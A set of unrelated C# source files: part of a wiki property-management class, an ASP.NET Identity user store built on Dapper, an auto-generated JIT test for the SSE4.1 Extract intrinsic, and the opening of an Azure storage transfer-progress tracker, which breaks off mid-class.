resourcesByName = GetResources(parentId, parentType, new List<string>(resourcesByName.Keys).ToArray(), DeletionFilter.ACTIVEONLY).AsHash(e => e.Name);
//extract property info, build resource revisions, save resource, and maintain statuses for each save
foreach(XDoc propDoc in doc["/properties/property"]) {
PropertyBE res = null;
string content;
uint contentLength = 0;
string description = string.Empty;
string etag = null;
MimeType mimeType;
string name = string.Empty;
try {
name = propDoc["@name"].AsText ?? string.Empty;
if(resourcesByName.TryGetValue(name, out res)) {
//All existing properties on this batch operation have the same parent
res.ParentResource = parentResource;
}
if(propDoc["contents"].IsEmpty) {
if(res == null) {
throw new DreamBadRequestException(string.Format(DekiResources.PROPERTY_DOESNT_EXIST_DELETE, name));
} else {
res = Delete(res, parentType, parentUri);
}
} else {
//parse content from xml
etag = propDoc["@etag"].AsText;
description = propDoc["description"].AsText;
content = propDoc["contents"].AsText;
contentLength = (uint) (content ?? string.Empty).Length;
string mimeTypeStr = propDoc["contents/@type"].AsText;
if(string.IsNullOrEmpty(mimeTypeStr) || !MimeType.TryParse(mimeTypeStr, out mimeType)) {
throw new DreamBadRequestException(string.Format(DekiResources.PROPERTY_INVALID_MIMETYPE, name, mimeTypeStr));
}
ResourceContentBE resourceContent = new ResourceContentBE(content, mimeType);
if(res == null) {
//new property
res = Create(parentId, parentUri, parentType, parentResource, name, resourceContent, description, etag, AbortEnum.Exists);
} else {
//new revision
res = UpdateContent(res, resourceContent, description, etag, AbortEnum.Modified, parentUri, parentType);
}
}
ret.Add(res);
saveStatusByName[name] = DreamMessage.Ok();
} catch(DreamAbortException x) {
//Unexpected errors fall through while business logic errors while saving a property continues processing
saveStatusByName[name] = x.Response;
failedNamesList.Add(name);
}
}
failedNames = failedNamesList.ToArray();
return ret.ToArray();
}
public PropertyBE Delete(PropertyBE prop, ResourceBE.Type parentType, XUri parentUri) {
DekiContext.Current.Instance.EventSink.PropertyDelete(DreamContext.Current.StartTime, prop, DekiContext.Current.User, parentType, parentUri);
return base.Delete(prop);
}
public ResourceContentBE CreateDbSerializedContentFromStream(Stream stream, long length, MimeType type) {
var memorystream = new ChunkedMemoryStream();
stream.CopyTo(memorystream, length);
return new ResourceContentBE(memorystream, type);
}
#region XML Helpers
public XDoc GetPropertyXml(PropertyBE property, XUri parentResourceUri, string propSuffix, uint? contentCutoff) {
return GetPropertyXml(new PropertyBE[] { property }, parentResourceUri, false, propSuffix, null, contentCutoff, null);
}
public XDoc GetPropertyXml(IList<PropertyBE> properties, XUri parentResourceUri, string propSuffix, uint? contentCutoff) {
return GetPropertyXml(properties, parentResourceUri, true, propSuffix, null, contentCutoff, null);
}
public XDoc GetPropertyXml(IList<PropertyBE> properties, XUri parentResourceUri, string propSuffix, uint? contentCutoff, XDoc docToModify) {
return GetPropertyXml(properties, parentResourceUri, true, propSuffix, null, contentCutoff, docToModify);
}
private XDoc GetPropertyXml(IList<PropertyBE> properties, XUri parentResourceUri, bool collection, string propSuffix, bool? explicitRevisionInfo, uint? contentCutoff, XDoc doc) {
bool requiresEnd = false;
if(collection) {
string rootPropertiesNode = string.IsNullOrEmpty(propSuffix) ? "properties" : "properties." + propSuffix;
if(doc == null) {
doc = new XDoc(rootPropertiesNode);
} else {
doc.Start(rootPropertiesNode);
requiresEnd = true;
}
doc.Attr("count", properties.Count);
if(parentResourceUri != null) {
//Note: this assumes that the property collection of a resource is always accessed by appending "properties" to the parent URI
doc.Attr("href", parentResourceUri.At("properties"));
}
} else {
doc = XDoc.Empty;
}
//Batch retrieve users for user.modified and user.deleted
Dictionary<uint, UserBE> usersById = new Dictionary<uint, UserBE>();
foreach(ResourceBE r in properties) {
usersById[r.UserId] = null;
}
if(!ArrayUtil.IsNullOrEmpty(properties)) {
usersById = DbUtils.CurrentSession.Users_GetByIds(usersById.Keys.ToArray()).AsHash(e => e.ID);
}
foreach(PropertyBE p in properties) {
doc = AppendPropertyXml(doc, p, parentResourceUri, propSuffix, explicitRevisionInfo, contentCutoff, usersById);
}
if(requiresEnd) {
doc.End();
}
return doc;
}
private XDoc AppendPropertyXml(XDoc doc, PropertyBE property, XUri parentResourceUri, string propSuffix, bool? explicitRevisionInfo, uint? contentCutoff, Dictionary<uint, UserBE> usersById) {
bool requiresEnd = false;
explicitRevisionInfo = explicitRevisionInfo ?? false;
string propElement = string.IsNullOrEmpty(propSuffix) ? "property" : "property." + propSuffix;
if(doc == null || doc.IsEmpty) {
doc = new XDoc(propElement);
} else {
doc.Start(propElement);
requiresEnd = true;
}
//Build the base uri to the property
bool includeContents = property.Size <= (contentCutoff ?? DEFAULT_CONTENT_CUTOFF) &&
(property.MimeType.Match(MimeType.ANY_TEXT)
);
//TODO: contents null check
doc.Attr("name", property.Name)
.Attr("href", /*explicitRevisionInfo.Value ? property.UriInfo(parentResourceUri, true) : */property.UriInfo(parentResourceUri));
if(property.IsHeadRevision()) {
doc.Attr("etag", property.ETag());
}
/* PROPERTY REVISIONS: if(!property.IsHeadRevision() || explicitRevisionInfo.Value) {
revisions not currently exposed.
doc.Attr("revision", property.Revision);
}
*/
/* PROPERTY REVISIONS: doc.Start("revisions")
.Attr("count", property.ResourceHeadRevision)
.Attr("href", property.UriRevisions())
.End();
*/
string content = null;
if(includeContents) {
content = property.Content.ToText();
}
doc.Start("contents")
.Attr("type", property.MimeType.ToString())
.Attr("size", property.Size)
.Attr("href", /*PROPERTY REVISIONS: explicitRevisionInfo.Value ? property.UriContent(true) : */property.UriContent(parentResourceUri))
.Value(content)
.End();
doc.Elem("date.modified", property.Timestamp);
UserBE userModified;
usersById.TryGetValue(property.UserId, out userModified);
if(userModified != null) {
doc.Add(UserBL.GetUserXml(userModified, "modified", Utils.ShowPrivateUserInfo(userModified)));
}
doc.Elem("change-description", property.ChangeDescription);
if(property.Deleted) {
UserBE userDeleted;
usersById.TryGetValue(property.UserId, out userDeleted);
if(userDeleted != null) {
doc.Add(UserBL.GetUserXml(userDeleted, "deleted", Utils.ShowPrivateUserInfo(userDeleted)));
}
doc.Elem("date.deleted", property.Timestamp);
}
if(requiresEnd) {
doc.End(); //property
}
return doc;
}
#endregion
}
}
| |
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Linq.Expressions;
using System.Security.Claims;
using System.Threading.Tasks;
using Microsoft.AspNet.Identity;
using Dapper;
using AspNet.IdentityStore.Properties;
namespace AspNet.IdentityStore
{
public class UserStore :
IUserLoginStore<IdentityUser, string>,
IUserClaimStore<IdentityUser, string>,
IUserRoleStore<IdentityUser, string>,
IUserPasswordStore<IdentityUser, string>,
IUserSecurityStampStore<IdentityUser, string>,
//IQueryableUserStore<IdentityUser, Guid>,
IUserEmailStore<IdentityUser, string>,
IUserPhoneNumberStore<IdentityUser, string>,
IUserTwoFactorStore<IdentityUser, string>,
IUserLockoutStore<IdentityUser, string>,
IUserStore<IdentityUser, string>,
IUserStore<IdentityUser>,
IDisposable
{
bool _disposed;
IDbContext _dbContext;
public bool DisposeContext
{
get;
set;
}
//public IQueryable<IdentityUser> Users
//{
// get
// {
// return _userStore.EntitySet;
// }
//}
public UserStore(IDbContext dbContext)
{
if (dbContext == null)
{
throw new ArgumentNullException("context");
}
_dbContext = dbContext;
}
public Task<DateTimeOffset> GetLockoutEndDateAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<DateTimeOffset>(user.LockoutEndDateUtc.HasValue ? new DateTimeOffset(DateTime.SpecifyKind(user.LockoutEndDateUtc.Value, DateTimeKind.Utc)) : default(DateTimeOffset));
}
public Task SetLockoutEndDateAsync(IdentityUser user, DateTimeOffset lockoutEnd)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.LockoutEndDateUtc =
((lockoutEnd == DateTimeOffset.MinValue) ? null : new DateTime?(lockoutEnd.UtcDateTime));
//_dbContext.UpdateProperty(user, () => user.LockoutEndDateUtc,
// ((lockoutEnd == DateTimeOffset.MinValue) ? null : new DateTime?(lockoutEnd.UtcDateTime)));
return Task.FromResult<int>(0);
}
public Task<int> IncrementAccessFailedCountAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.AccessFailedCount++;
return Task.FromResult<int>(user.AccessFailedCount);
}
public Task ResetAccessFailedCountAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.AccessFailedCount = 0;
return Task.FromResult<int>(0);
}
public Task<int> GetAccessFailedCountAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<int>(user.AccessFailedCount);
}
public Task<bool> GetLockoutEnabledAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<bool>(user.LockoutEnabled);
}
public Task SetLockoutEnabledAsync(IdentityUser user, bool enabled)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.LockoutEnabled = enabled;
//_dbContext.UpdateProperty(user, () => user.LockoutEnabled, enabled);
return Task.FromResult<int>(0);
}
public virtual Task<IList<Claim>> GetClaimsAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.Run(() =>
{
return _dbContext.GetClaims(user);
});
}
public virtual Task AddClaimAsync(IdentityUser user, Claim claim)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
if (claim == null)
{
throw new ArgumentNullException("claim");
}
return Task.Run(() =>
{
_dbContext.AddClaim(user, claim);
});
}
public virtual Task RemoveClaimAsync(IdentityUser user, Claim claim)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
if (claim == null)
{
throw new ArgumentNullException("claim");
}
return Task.Run(() =>
{
_dbContext.RemoveClaim(user, claim);
});
}
public Task<bool> GetEmailConfirmedAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<bool>(user.EmailConfirmed);
}
public Task SetEmailConfirmedAsync(IdentityUser user, bool confirmed)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.EmailConfirmed = confirmed;
//_dbContext.UpdateProperty(user, () => user.EmailConfirmed, confirmed);
return Task.FromResult<int>(0);
}
public Task SetEmailAsync(IdentityUser user, string email)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.Email = email;
//_dbContext.UpdateProperty(user, () => user.Email, email);
return Task.FromResult<int>(0);
}
public Task<string> GetEmailAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<string>(user.Email);
}
public Task<IdentityUser> FindByEmailAsync(string email)
{
ThrowIfDisposed();
return Task.Run(() =>
{
return _dbContext.GetUserByEmail(email);
});
}
public virtual Task<IdentityUser> FindByIdAsync(string userId)
{
ThrowIfDisposed();
return Task.Run(() =>
{
return _dbContext.GetUserById(userId);
});
}
public virtual Task<IdentityUser> FindByNameAsync(string userName)
{
ThrowIfDisposed();
return Task.Run(() =>
{
return _dbContext.GetUserByUserName(userName);
});
}
public virtual Task CreateAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.Run(() =>
{
_dbContext.InsertOrUpdate(user);
});
}
public virtual Task DeleteAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.Run(() =>
{
_dbContext.Delete(user);
});
}
public virtual Task UpdateAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.Run(() =>
{
_dbContext.InsertOrUpdate(user);
});
}
public virtual Task<IdentityUser> FindAsync(UserLoginInfo login)
{
ThrowIfDisposed();
if (login == null)
{
throw new ArgumentNullException("login");
}
return Task.Run(() =>
{
return _dbContext.GetUserByLoginInfo(login);
});
}
public virtual Task AddLoginAsync(IdentityUser user, UserLoginInfo login)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
if (login == null)
{
throw new ArgumentNullException("login");
}
return Task.Run(() =>
{
_dbContext.AddLogin(user, login);
});
}
public virtual Task RemoveLoginAsync(IdentityUser user, UserLoginInfo login)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
if (login == null)
{
throw new ArgumentNullException("login");
}
return Task.Run(() =>
{
_dbContext.RemoveLogin(user, login);
});
}
public virtual Task<IList<UserLoginInfo>> GetLoginsAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.Run(() =>
{
return _dbContext.GetLogins(user);
});
}
public Task SetPasswordHashAsync(IdentityUser user, string passwordHash)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.PasswordHash = passwordHash;
//_dbContext.UpdateProperty(user, () => user.PasswordHash, passwordHash);
return Task.FromResult<int>(0);
}
public Task<string> GetPasswordHashAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<string>(user.PasswordHash);
}
public Task<bool> HasPasswordAsync(IdentityUser user)
{
return Task.FromResult<bool>(user.PasswordHash != null);
}
public Task SetPhoneNumberAsync(IdentityUser user, string phoneNumber)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.PhoneNumber = phoneNumber;
//_dbContext.UpdateProperty(user, () => user.PhoneNumber, phoneNumber);
return Task.FromResult<int>(0);
}
public Task<string> GetPhoneNumberAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<string>(user.PhoneNumber);
}
public Task<bool> GetPhoneNumberConfirmedAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<bool>(user.PhoneNumberConfirmed);
}
public Task SetPhoneNumberConfirmedAsync(IdentityUser user, bool confirmed)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.PhoneNumberConfirmed = confirmed;
//_dbContext.UpdateProperty(user, () => user.PhoneNumberConfirmed, confirmed);
return Task.FromResult<int>(0);
}
public virtual async Task AddToRoleAsync(IdentityUser user, string roleName)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
IdentityRole role = await _dbContext.GetRoleByName(roleName);
if (role == null)
{
throw new InvalidOperationException(string.Format(CultureInfo.CurrentCulture, Resources.RoleNotFound, roleName));
}
await Task.Run(() =>
{
_dbContext.AddRole(user, role);
});
}
public virtual async Task RemoveFromRoleAsync(IdentityUser user, string roleName)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
IdentityRole role = await _dbContext.GetRoleByName(roleName);
if (null != role)
{
await Task.Run(() =>
{
_dbContext.RemoveRole(user, role);
});
}
}
public virtual Task<IList<string>> GetRolesAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.Run(() =>
{
return _dbContext.GetRoles(user);
});
}
public virtual async Task<bool> IsInRoleAsync(IdentityUser user, string roleName)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
if (string.IsNullOrWhiteSpace(roleName))
{
throw new ArgumentException(Resources.ValueCannotBeNullOrEmpty, "roleName");
}
return await Task.Run(() =>
{
return _dbContext.IsInRole(user, roleName);
});
}
public Task SetSecurityStampAsync(IdentityUser user, string stamp)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.SecurityStamp = stamp;
//_dbContext.UpdateProperty(user, () => user.SecurityStamp, stamp);
return Task.FromResult<int>(0);
}
public Task<string> GetSecurityStampAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<string>(user.SecurityStamp);
}
public Task SetTwoFactorEnabledAsync(IdentityUser user, bool enabled)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
user.TwoFactorEnabled = enabled;
//_dbContext.UpdateProperty(user, () => user.TwoFactorEnabled, enabled);
return Task.FromResult<int>(0);
}
public Task<bool> GetTwoFactorEnabledAsync(IdentityUser user)
{
ThrowIfDisposed();
if (user == null)
{
throw new ArgumentNullException("user");
}
return Task.FromResult<bool>(user.TwoFactorEnabled);
}
void ThrowIfDisposed()
{
if (_disposed)
{
throw new ObjectDisposedException(GetType().Name);
}
}
protected virtual void Dispose(bool disposing)
{
if (DisposeContext && disposing && _dbContext != null)
{
_dbContext.Dispose();
}
_disposed = true;
_dbContext = null;
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/******************************************************************************
* This file is auto-generated from a template file by the GenerateTests.csx *
* script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make *
* changes, please update the corresponding template and run according to the *
* directions listed in the file. *
******************************************************************************/
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Intrinsics;
using System.Runtime.Intrinsics.X86;
namespace JIT.HardwareIntrinsics.X86
{
public static partial class Program
{
private static void ExtractSingle1()
{
var test = new SimpleUnaryOpTest__ExtractSingle1();
try
{
if (test.IsSupported)
{
// Validates basic functionality works, using Unsafe.Read
test.RunBasicScenario_UnsafeRead();
if (Sse.IsSupported)
{
// Validates basic functionality works, using Load
test.RunBasicScenario_Load();
// Validates basic functionality works, using LoadAligned
test.RunBasicScenario_LoadAligned();
}
// Validates calling via reflection works, using Unsafe.Read
test.RunReflectionScenario_UnsafeRead();
if (Sse.IsSupported)
{
// Validates calling via reflection works, using Load
test.RunReflectionScenario_Load();
// Validates calling via reflection works, using LoadAligned
test.RunReflectionScenario_LoadAligned();
}
// Validates passing a static member works
test.RunClsVarScenario();
// Validates passing a local works, using Unsafe.Read
test.RunLclVarScenario_UnsafeRead();
if (Sse.IsSupported)
{
// Validates passing a local works, using Load
test.RunLclVarScenario_Load();
// Validates passing a local works, using LoadAligned
test.RunLclVarScenario_LoadAligned();
}
// Validates passing the field of a local works
test.RunLclFldScenario();
// Validates passing an instance member works
test.RunFldScenario();
}
else
{
// Validates we throw on unsupported hardware
test.RunUnsupportedScenario();
}
}
catch (PlatformNotSupportedException)
{
test.Succeeded = true;
}
if (!test.Succeeded)
{
throw new Exception("One or more scenarios did not complete as expected.");
}
}
}
public sealed unsafe class SimpleUnaryOpTest__ExtractSingle1
{
private const int VectorSize = 16;
private const int Op1ElementCount = VectorSize / sizeof(Single);
private const int RetElementCount = VectorSize / sizeof(Single);
private static Single[] _data = new Single[Op1ElementCount];
private static Vector128<Single> _clsVar;
private Vector128<Single> _fld;
private SimpleUnaryOpTest__DataTable<Single, Single> _dataTable;
static SimpleUnaryOpTest__ExtractSingle1()
{
var random = new Random();
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = (float)(random.NextDouble()); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref _clsVar), ref Unsafe.As<Single, byte>(ref _data[0]), VectorSize);
}
public SimpleUnaryOpTest__ExtractSingle1()
{
Succeeded = true;
var random = new Random();
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = (float)(random.NextDouble()); }
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref _fld), ref Unsafe.As<Single, byte>(ref _data[0]), VectorSize);
for (var i = 0; i < Op1ElementCount; i++) { _data[i] = (float)(random.NextDouble()); }
_dataTable = new SimpleUnaryOpTest__DataTable<Single, Single>(_data, new Single[RetElementCount], VectorSize);
}
public bool IsSupported => Sse41.IsSupported;
public bool Succeeded { get; set; }
public void RunBasicScenario_UnsafeRead()
{
var result = Sse41.Extract(
Unsafe.Read<Vector128<Single>>(_dataTable.inArrayPtr),
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunBasicScenario_Load()
{
var result = Sse41.Extract(
Sse.LoadVector128((Single*)(_dataTable.inArrayPtr)),
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunBasicScenario_LoadAligned()
{
var result = Sse41.Extract(
Sse.LoadAlignedVector128((Single*)(_dataTable.inArrayPtr)),
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_UnsafeRead()
{
var result = typeof(Sse41).GetMethod(nameof(Sse41.Extract), new Type[] { typeof(Vector128<Single>), typeof(byte) })
.Invoke(null, new object[] {
Unsafe.Read<Vector128<Single>>(_dataTable.inArrayPtr),
(byte)1
});
Unsafe.Write(_dataTable.outArrayPtr, (Single)(result));
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_Load()
{
var result = typeof(Sse41).GetMethod(nameof(Sse41.Extract), new Type[] { typeof(Vector128<Single>), typeof(byte) })
.Invoke(null, new object[] {
Sse.LoadVector128((Single*)(_dataTable.inArrayPtr)),
(byte)1
});
Unsafe.Write(_dataTable.outArrayPtr, (Single)(result));
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunReflectionScenario_LoadAligned()
{
var result = typeof(Sse41).GetMethod(nameof(Sse41.Extract), new Type[] { typeof(Vector128<Single>), typeof(byte) })
.Invoke(null, new object[] {
Sse.LoadAlignedVector128((Single*)(_dataTable.inArrayPtr)),
(byte)1
});
Unsafe.Write(_dataTable.outArrayPtr, (Single)(result));
ValidateResult(_dataTable.inArrayPtr, _dataTable.outArrayPtr);
}
public void RunClsVarScenario()
{
var result = Sse41.Extract(
_clsVar,
1
);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_clsVar, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_UnsafeRead()
{
var firstOp = Unsafe.Read<Vector128<Single>>(_dataTable.inArrayPtr);
var result = Sse41.Extract(firstOp, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(firstOp, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_Load()
{
var firstOp = Sse.LoadVector128((Single*)(_dataTable.inArrayPtr));
var result = Sse41.Extract(firstOp, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(firstOp, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_LoadAligned()
{
var firstOp = Sse.LoadAlignedVector128((Single*)(_dataTable.inArrayPtr));
var result = Sse41.Extract(firstOp, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(firstOp, _dataTable.outArrayPtr);
}
public void RunLclFldScenario()
{
var test = new SimpleUnaryOpTest__ExtractSingle1();
var result = Sse41.Extract(test._fld, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld, _dataTable.outArrayPtr);
}
public void RunFldScenario()
{
var result = Sse41.Extract(_fld, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_fld, _dataTable.outArrayPtr);
}
public void RunUnsupportedScenario()
{
Succeeded = false;
try
{
RunBasicScenario_UnsafeRead();
}
catch (PlatformNotSupportedException)
{
Succeeded = true;
}
}
private void ValidateResult(Vector128<Single> firstOp, void* result, [CallerMemberName] string method = "")
{
Single[] inArray = new Single[Op1ElementCount];
Single[] outArray = new Single[RetElementCount];
Unsafe.Write(Unsafe.AsPointer(ref inArray[0]), firstOp);
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), VectorSize);
ValidateResult(inArray, outArray, method);
}
private void ValidateResult(void* firstOp, void* result, [CallerMemberName] string method = "")
{
Single[] inArray = new Single[Op1ElementCount];
Single[] outArray = new Single[RetElementCount];
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref inArray[0]), ref Unsafe.AsRef<byte>(firstOp), VectorSize);
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), VectorSize);
ValidateResult(inArray, outArray, method);
}
private void ValidateResult(Single[] firstOp, Single[] result, [CallerMemberName] string method = "")
{
if ((BitConverter.SingleToInt32Bits(result[0]) != BitConverter.SingleToInt32Bits(firstOp[1])))
{
Succeeded = false;
}
if (!Succeeded)
{
Console.WriteLine($"{nameof(Sse41)}.{nameof(Sse41.Extract)}<Single>(Vector128<Single><9>): {method} failed:");
Console.WriteLine($" firstOp: ({string.Join(", ", firstOp)})");
Console.WriteLine($" result: ({string.Join(", ", result)})");
Console.WriteLine();
}
}
}
}
| |
//------------------------------------------------------------------------------
// <copyright file="TransferProgressTracker.cs" company="Microsoft">
// Copyright (c) Microsoft Corporation
// </copyright>
//------------------------------------------------------------------------------
namespace Microsoft.WindowsAzure.Storage.DataMovement
{
using System;
using System.Runtime.Serialization;
using System.Threading;
/// <summary>
/// Calculate transfer progress.
/// </summary>
[Serializable]
internal class TransferProgressTracker : ISerializable
{
private const string BytesTransferredName = "BytesTransferred";
private const string FilesTransferredName = "FilesTransferred";
private const string FilesSkippedName = "FilesSkipped";
private const string FilesFailedName = "FilesFailed";
/// <summary>
/// Stores the number of bytes that have been transferred.
/// </summary>
private long bytesTransferred;
/// <summary>
/// Stores the number of files that have been transferred.
/// </summary>
private long numberOfFilesTransferred;
/// <summary>
/// Stores the number of files that are failed to be transferred.
/// </summary>
private long numberOfFilesSkipped;
/// <summary>
/// Stores the number of files that are skipped.
/// </summary>
private long numberOfFilesFailed;
/// <summary>
/// A flag indicating whether the progress handler is being invoked
/// </summary>
private int invokingProgressHandler;
/// <summary>
/// Initializes a new instance of the <see cref="TransferProgressTracker" /> class.
/// </summary>
public TransferProgressTracker()
{
this.bytesTransferred = 0;
this.numberOfFilesTransferred = 0;
this.numberOfFilesSkipped = 0;
this.numberOfFilesFailed = 0;
}
/// <summary>
/// Initializes a new instance of the <see cref="TransferProgressTracker"/> class.
/// </summary>
/// <param name="info">Serialization information.</param>
/// <param name="context">Streaming context.</param>
protected TransferProgressTracker(SerializationInfo info, StreamingContext context)
{
if (info == null)
{
throw new System.ArgumentNullException("info");
}
this.bytesTransferred = info.GetInt64(BytesTransferredName);
this.numberOfFilesTransferred = info.GetInt64(FilesTransferredName);
this.numberOfFilesSkipped = info.GetInt64(FilesSkippedName);
this.numberOfFilesFailed = info.GetInt64(FilesFailedName);
}
/// <summary>
/// Initializes a new instance of the <see cref="TransferProgressTracker" /> class.
/// </summary>
private TransferProgressTracker(TransferProgressTracker other)
{
this.bytesTransferred = other.bytesTransferred;
this.numberOfFilesTransferred = other.numberOfFilesTransferred;
this.numberOfFilesSkipped = other.numberOfFilesSkipped;
this.numberOfFilesFailed = other.numberOfFilesFailed;
}
/// <summary>
/// Gets or sets the parent progress tracker
/// </summary>
public TransferProgressTracker Parent
{
get;
set;
}
/// <summary>
/// Gets or sets the progress handler
/// </summary>
public IProgress<TransferProgress> ProgressHandler
{
get;
set;
}
/// <summary>
/// Gets the number of bytes that have been transferred.
/// </summary>
public long BytesTransferred
{
get
{
return Interlocked.Read(ref this.bytesTransferred);
}
}
/// <summary>
/// Gets the number of files that have been transferred.
/// </summary>
public long NumberOfFilesTransferred
{
get
{
return Interlocked.Read(ref this.numberOfFilesTransferred);
}
}
/// <summary>
/// Gets the number of files that are skipped to be transferred.
/// </summary>
public long NumberOfFilesSkipped
{
get
{
return Interlocked.Read(ref this.numberOfFilesSkipped);
}
}
/// <summary>
/// Gets the number of files that are failed to be transferred.
/// </summary>
public long NumberOfFilesFailed
{
get
{
return Interlocked.Read(ref this.numberOfFilesFailed);
}
}
/// <summary>
/// Updates the current status by indicating the bytes transferred.
/// </summary>
/// <param name="bytesToIncrease">Indicating by how much the bytes transferred increased.</param>
public void AddBytesTransferred(long bytesToIncrease)
{
if (bytesToIncrease != 0)
{
Interlocked.Add(ref this.bytesTransferred, bytesToIncrease);
if (this.Parent != null)
{
this.Parent.AddBytesTransferred(bytesToIncrease);
}
}
this.InvokeProgressHandler();
}
/// <summary>
/// Updates the number of files that have been transferred.
/// </summary>
/// <param name="numberOfFilesToIncrease">Indicating by how much the number of file that have been transferred increased.</param>
public void AddNumberOfFilesTransferred(long numberOfFilesToIncrease)
{
if (numberOfFilesToIncrease != 0)
{
Interlocked.Add(ref this.numberOfFilesTransferred, numberOfFilesToIncrease);
if (this.Parent != null)
{
this.Parent.AddNumberOfFilesTransferred(numberOfFilesToIncrease);
}
}
this.InvokeProgressHandler();
}
/// <summary>
/// Updates the number of files that are skipped.
/// </summary>
/// <param name="numberOfFilesToIncrease">Indicating by how much the number of file that are skipped increased.</param>
public void AddNumberOfFilesSkipped(long numberOfFilesToIncrease)
{
if (numberOfFilesToIncrease != 0)
{
Interlocked.Add(ref this.numberOfFilesSkipped, numberOfFilesToIncrease);
if (this.Parent != null)
{
this.Parent.AddNumberOfFilesSkipped(numberOfFilesToIncrease);
}
}
this.InvokeProgressHandler();
}
/// <summary>
/// Updates the number of files that are failed to be transferred.
/// </summary>
/// <param name="numberOfFilesToIncrease">Indicating by how much the number of file that are failed to be transferred increased.</param>
public void AddNumberOfFilesFailed(long numberOfFilesToIncrease)
{
if (numberOfFilesToIncrease != 0)
{
Interlocked.Add(ref this.numberOfFilesFailed, numberOfFilesToIncrease);
if (this.Parent != null)
{
this.Parent.AddNumberOfFilesFailed(numberOfFilesToIncrease);
}
}
this.InvokeProgressHandler();
}
